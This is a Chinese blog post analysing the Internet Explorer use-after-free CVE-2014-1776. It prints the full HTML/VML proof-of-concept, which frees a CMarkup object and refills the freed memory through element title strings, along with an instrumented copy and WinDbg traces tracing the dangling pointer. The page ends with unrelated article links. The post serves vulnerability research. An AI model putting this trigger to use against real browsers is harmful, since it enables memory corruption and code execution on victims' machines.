传说中的IE秘狐

[CNNVD]Microsoft Internet Explorer 释放后重用漏洞(CNNVD-201404-530)

Microsoft Internet Explorer(IE)是美国微软(Microsoft)公司开发的一款Web浏览器,是Windows操作系统附带的默认浏览器。

Microsoft IE 6至11版本的VGX.DLL文件中存在释放后重用漏洞。远程攻击者可利用该漏洞执行任意代码或造成拒绝服务(内存损坏)。

POC:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
r = document.createElement("i");
t = r;
r = document.getElementById("k").childNodes[0].appendChild(r) ;
r = t.appendChild(o) ;
e = r.offsetParent;
e.onpropertychange=fun;
i=o.firstChild.nextSibling;
try
{
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
this.removeNode(true);
}
catch (e) {}
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html>

经分析得出是CMarkup对象发生的UAF

这个样本的确可以成功触发漏洞,但是这个明显是一个经过设计exp。exp的行为会干扰到我们对漏洞产生原因的分析。

重利用

:> kv
ChildEBP RetAddr Args to Child
041ee998 68318a98 087abfc0 6837ce50 mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6 (FPO: [,,])
041ee9b8 68319d57 06dfbf30 041ee9dc mshtml!CMarkup::OnCssChange+0x52
041ee9c8 6860a5b3 087abfc0 6837ce64 mshtml!CElement::OnCssChange+0x1e
041ee9dc 6836bfc6 8001004c 6837ce50 mshtml!CStyleElement::OnPropertyChange+0xfc
041eeabc 682e4bd1 6837ce64 ffffffff 087abfcc mshtml!NUMPROPPARAMS::SetNumberProperty+0x2d9
041eead8 682e4ba1 0000ffff 0a82efd8 041eeb10 mshtml!CBase::put_BoolHelper+0x25
041eeae8 682e24dd 087abfc0 0000ffff 068e8fd0 mshtml!CBase::put_Bool+0x22
041eeb10 683f235c 087abfc0 068e8fd0 0a82efd8 mshtml!GS_VARIANTBOOL+0x19b
041eeb84 683fc75a 087abfc0 8001004c mshtml!CBase::ContextInvokeEx+0x5dc
041eebd4 6820c29b 087abfc0 8001004c mshtml!CElement::ContextInvokeEx+0x9d
041eec00 683a3104 087abfc0 8001004c mshtml!CStyleElement::VersionedInvokeEx+0x62
041eec54 645aa22a 06e9afd8 8001004c mshtml!PlainInvokeEx+0xeb
041eec90 645aa175 0819cd10 8001004c jscript!IDispatchExInvokeEx2+0x104
041eeccc 645aa3f6 0819cd10 0000000c jscript!IDispatchExInvokeEx+0x6a
041eed8c 645aa4a0 8001004c 0000000c jscript!InvokeDispatchEx+0x98
041eedc0 645bd8c8 0819cd10 041eedf4 0000000c jscript!VAR::InvokeByName+0x139
041eee08 645a9c0e 0819cd10 0000000c jscript!VAR::InvokeDispName+0x7d
041eef9c 645b5c9d 041eefb4 01876f88 jscript!CScriptRuntime::Run+0x208d
041ef084 645b5bfb 01878fa0 jscript!ScrFncObj::CallWithFrameOnStack+0xce
041ef0cc 645b74ac 01878fa0 jscript!ScrFncObj::Call+0x8d

释放

:> g
Breakpoint hit
eax=683720a8 ebx=06d96fe8 ecx=06fd1f30 edx=001f1078 esi=06fd1f30 edi=
eip=683e12b8 esp=0419b40c ebp=0419b414 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? esi
Evaluate expression: = 06fd1f30
:> kv
ChildEBP RetAddr Args to Child
0419b408 683e1297 06fd1f30 0419b42c 68387dd0 mshtml!CMarkup::~CMarkup (FPO: [,,])
0419b414 68387dd0 68387db6 mshtml!CMarkup::`scalar deleting destructor'+0xd
0419b41c 68387db6 00000000 06fd1f30 0419b450 mshtml!CBase::SubRelease+0x22 (FPO: [0,0,0])
0419b42c 68319de5 06fd1f30 0540b680 6831a2d4 mshtml!CBase::PrivateRelease+0x3c
0419b438 6831a2d4 0a978fd8 0a97efd8 00001400 mshtml!CMarkup::ProcessPeerTask+0x47 (FPO: [0,1,0])
0419b450 683fc6ce 08a4af30 00000000 0a978fd8 mshtml!CMarkup::ProcessPeerTasks+0xf0
0419b468 683f1e59 0a97efd8 07873260 10000003 mshtml!CElement::VersionedGetDispID+0x52
0419b4ac 68a3a304 0a978fd8 07873260 10000003 mshtml!PlainGetDispID+0xdc
0419b4dc 68a3a272 07873260 0419b518 0a978fd8 jscript!IDispatchExGetDispID+0xa5
0419b4f4 68a3a47a 06e25d10 0419b518 00000003 jscript!GetDex2DispID+0x31
0419b520 68a4d8c8 06e25d10 0419b554 0000000c jscript!VAR::InvokeByName+0xee
0419b56c 68a39c0e 06e25d10 0000000c 00000000 jscript!VAR::InvokeDispName+0x7d
0419b700 68a45c9d 0419b718 0419b85c 06e5bf88 jscript!CScriptRuntime::Run+0x208d
0419b7e8 68a45bfb 0419b85c 00000000 06e57e80 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0419b830 68a45e11 0419b85c 00000000 06e57e80 jscript!ScrFncObj::Call+0x8d
0419b8ac 68a3f3ee 06e5bf88 0419baf0 00000000 jscript!CSession::Execute+0x15f
0419b994 68a3ea2e 00000000 00000001 0419ba4c jscript!NameTbl::InvokeDef+0x1b5
0419ba18 68417af1 06e5bf88 00000000 00000804 jscript!NameTbl::InvokeEx+0x12c
0419ba68 68417b91 063d2fc8 06e5bf88 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e1
0419bb94 6838a932 80010013 8001179f 0a96cfd8 mshtml!CBase::InvokeEvent+0x214

分配

    70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
6830a8da mshtml!CDoc::CreateMarkupFromInfo+0x000000e2
6831625f mshtml!CDoc::CreateMarkup+0x0000004a
6826d0b1 mshtml!CCommentElement::`scalar deleting destructor'+0x000002d3
681ec57d mshtml!CElement::removeNode+0x00000046
681ec630 mshtml!Method_IDispatchpp_oDoVARIANTBOOL+0x000000cc
683f235c mshtml!CBase::ContextInvokeEx+0x000005dc
683fc75a mshtml!CElement::ContextInvokeEx+0x0000009d
683fc79a mshtml!CInput::VersionedInvokeEx+0x0000002d
683a3104 mshtml!PlainInvokeEx+0x000000eb
67eba22a jscript!IDispatchExInvokeEx2+0x00000104
67eba175 jscript!IDispatchExInvokeEx+0x0000006a
67eba3f6 jscript!InvokeDispatchEx+0x00000098
67eba4a0 jscript!VAR::InvokeByName+0x00000139
67ecd8c8 jscript!VAR::InvokeDispName+0x0000007d
67ecd96f jscript!VAR::InvokeByDispID+0x000000ce
67ece3e7 jscript!CScriptRuntime::Run+0x00002b80
67ec5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
67ec5bfb jscript!ScrFncObj::Call+0x0000008d
67ec5e11 jscript!CSession::Execute+0x0000015f
67ebf3ee jscript!NameTbl::InvokeDef+0x000001b5
67ebea2e jscript!NameTbl::InvokeEx+0x0000012c
68417af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
68417b91 mshtml!CBase::InvokeEvent+0x00000214
6838a932 mshtml!CBase::FireEvent+0x000000e1
683d4836 mshtml!CElement::FireEvent+0x000003c4
6840c550 mshtml!CElement::Fire_onpropertychange+0x0000005a
6840c4d7 mshtml!CElement::Fire_PropertyChangeHelper+0x00000121
6840c457 mshtml!CElement::OnPropertyChange+0x00000b7b

分析一下流程

修改POC,增加辅助语句

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
Math.tan(2,3);
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
Math.sin(2,3);
r = document.createElement("i");
Math.cos(2,3);
t = r;
Math.tan(2,3);
r = document.getElementById("k").childNodes[0].appendChild(r) ;
Math.sin(2,3);
r = t.appendChild(o) ;
Math.cos(2,3);
e = r.offsetParent;
Math.tan(2,3);
e.onpropertychange=fun;
Math.sin(2,3);
i=o.firstChild.nextSibling;
Math.cos(2,3);
try
{
Math.tan(2,3);
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
Math.cos(2,3);
this.removeNode(true);
}
catch (e) {}
Math.tan(2,3);
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html> 
:> g
Breakpoint hit
eax= ebx=040ded00 ecx= edx= esi=040decf0 edi=040decf0
eip=688bd8c0 esp=040debf4 ebp=040dec30 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd67f esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040dd934 ebx= ecx= edx=6837c8f9 esi= edi=
eip= esp=040dd854 ebp=040dd938 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd8c0 esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd67f esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040db1f4 ebx= ecx=07b9ff30 edx=6837c8f9 esi= edi=
eip= esp=040db114 ebp=040db1f8 iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd8c0 esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
(e68.): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07caff30 ebx=07caff30 ecx=a06dfdb5 edx= esi=07caff30 edi=0824efc0
eip=68318d1d esp=040de6ec ebp=040de710 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07caff8c=????????

通过分析发现

 this.removeNode(true);

一句的执行导致了CDoc::CreateMarkup函数创建

CDoc::CreateMarkup其实是对CDoc::CreateMarkupFromInfo的简单封装,CDoc::CreateMarkupFromInfo方法中通过HeapAlloc函数来分配内存。

通过此种方式获取分配的内存地址,最后发现UAF对象其实是第一个CreateMarkup函数进行分配的。

:> g
Breakpoint hit
eax= ebx=042bde78 ecx= edx= esi=042bde68 edi=042bde68
eip=67edd8c0 esp=042bdd74 ebp=042bddb0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> bl
e 67edd8c0 () :**** jscript!tan
e 67edd67f () :**** jscript!cos
e 67edd711 () :**** jscript!sin
:> bu mshtml!CMarkup::~CMarkup
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd711 esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
67edd711 ff256810eb67 jmp dword ptr [jscript!_imp__sin (67eb1068)] ds::67eb1068={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd67f esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
67edd67f ff259010eb67 jmp dword ptr [jscript!_imp__cos (67eb1090)] ds::67eb1090={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=042bb738 ecx= edx= esi=042bb728 edi=042bb728
eip=67edd8c0 esp=042bb634 ebp=042bb670 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax=683720a8 ebx=0653efe8 ecx=07117f30 edx= esi=07117f30 edi=
eip=683e12b8 esp=042bb7a4 ebp=042bb7ac iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? ecx
Evaluate expression: = 07117f30
:> g
(b74.e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07117f30 ebx=07117f30 ecx=9f3dcc40 edx= esi=07117f30 edi=08392fc0
eip=68318d1d esp=042bea84 ebp=042beaa8 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07117f8c=????????

没有明显的js语句对应于释放和重用。

对象应该是因为引用计数耗尽而被释放的。

向上跟踪最后崩溃的位置,发现悬垂指针是处于CStyleElement+0x24的位置

根据OnCssChange函数我猜测是当css结构变动导致的引用了CStyleElement中指向已释放的CMarkup对象的悬垂指针。

CVE-2014-1776 秘狐的更多相关文章

  1. Oauth2.0协议曝漏洞 大量社交网站隐私或遭泄露

    2014年是IT业界不平常的一年,XP停服.IE长老漏洞(秘狐)等等层出不穷,现在,社交网络也爆出惊天漏洞:Oauth2.0协议漏洞 继OpenSSL漏洞后,开源安全软件再曝安全漏洞.新加坡南洋理工大 ...

  2. Bash漏洞批量检测工具与修复方案

    &amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...

  3. Android安全研究经验谈

    安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...

  4. Metasploit的基本使用

    Metasploit可以在Linux.Windows和Mac OS X系统上运行.我假设你已安装了Metasploit,或者你使用的系统是Kali Linux.它有命令行接口也有GUI接口. 我使用的 ...

  5. 紧跟腾讯大王卡:B站2233卡“基友号”即将上线

    来自B站官方的消息显示,B站在近期也将推出"基友号"功能,功能的内容是通话免费,考虑到这类互联网套餐都是中国联通在运营,因此在内容上可能也会效仿腾讯大王卡实现免费通话. 目前,B站 ...

  6. 数据库SQL Service 2014中文版的安装和配置教程

    一.我的电脑环境 1.windows8.1(64位) 2.之前电脑没有安装数据库的软件 二.装机之前准备(我这儿提供百度云保存和下载) 1.下载一个“Sql service 2014中文版” http ...

  7. SQL Server 2014 Backup Encryption

    转载自: Microsoft MVP Award Program Blog 来源:Microsoft MVP Award Program Blog 的博客:https://blogs.msdn.mic ...

  8. AWS re:Invent 2014回顾

    亚马逊在2014年11月11-14日的拉斯维加斯举行了一年一度的re:Invent大会.在今年的大会上,亚马逊一股脑发布和更新了很多服务.现在就由我来带领大家了解一下这些新服务. 安全及规范相关 AW ...

  9. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

随机推荐

  1. R读取excel文件

    2017.09.05 我一个下午的成果啊啊啊啊,看看失败 不禁感叹一声,失败的路真是多啊!!!! 一.安装xlsx包 下面具体讲一讲怎么弄的(太笨了,所以学得慢,需要一步一步的来) 用R读取excel ...

  2. 关于.Net开源并跨平台的思考

    开源的意义: 关于开源,我个人觉得有两个提高(勿喷). 一方面开源提高了生产力,另一方面开源也是信任的一种体现.为什么这么说呢,在当下的互联网时代,开源是一种核心价值观.人与人沟通交流合作之下,降低成 ...

  3. MySQL 快速入门

    MySQL的相关概念介绍 MySQL 为关系型数据库(Relational Database Management System), 这种所谓的"关系型"可以理解为"表格 ...

  4. JVM小结--类文件结构

    字节码是构成Java平台无关性的基石.实现语言无关性的基础是虚拟机和字节码存储格式. Java语言中的各种变量.关键字和运算符的语义最终是由多条字节码命令组成,因此字节码命令所能提供的语义描述能力肯定 ...

  5. MySQL报错】ERROR 1558 (HY000): Column count of mysql.user is wrong. Expected 43, found 39.

    之前在centos6.4系统安装的是自带的mysql 5.1版本,后来升级到了5.6版本,执行以下命令报错 在网上查找原因说说因为升级不当导致,执行以下命令即可正常执行命令 mysql_upgrade ...

  6. bzoj千题计划172:bzoj1192: [HNOI2006]鬼谷子的钱袋

    http://www.lydsy.com/JudgeOnline/problem.php?id=1192 1,2,4,8,…… n-2^k 可以表示n以内的任意数 若n-2^k 和 之前的数相等,一个 ...

  7. Django 2.0.1 官方文档翻译:接下来读什么(page 14)

    接下来读什么(page 14) 现在你应该已经阅读了所有的(page1-13 )介绍材料,决定继续使用Django.我们仅仅做了简要的介绍(事实上,如果你阅读了前面所有的内容,也只是全部文档的5%.) ...

  8. CSS3实战之box-shadow篇

    box-shadow属性包含6个参数值:阴影类型.X轴位移.Y轴位移.阴影大小.阴影扩展和阴影颜色.这6个参数值可以有选择地省略. 现在我们用一个img元素来举栗子 我们先来写最简单的box-shad ...

  9. markdown里的多层次列表项

    markdown里的多层次列表项 编写python的docstrng太多, 有时候就搞混淆了层次化列表项在博客或者随笔里的规则. docstirng里, 仅用两个空格的缩进就可以实现. 博客里通常是一 ...

  10. HDU 1718 Rank 排序

    解题报告:给一个班的学生的分数排序,然后判断Jack在他们班级的排名是多少,并且有如下规定,若多个人的分数相同,则他们的排名也 是相同的.说白了就是问这个班上分数比Jack高的人数有多少个,如果有n个 ...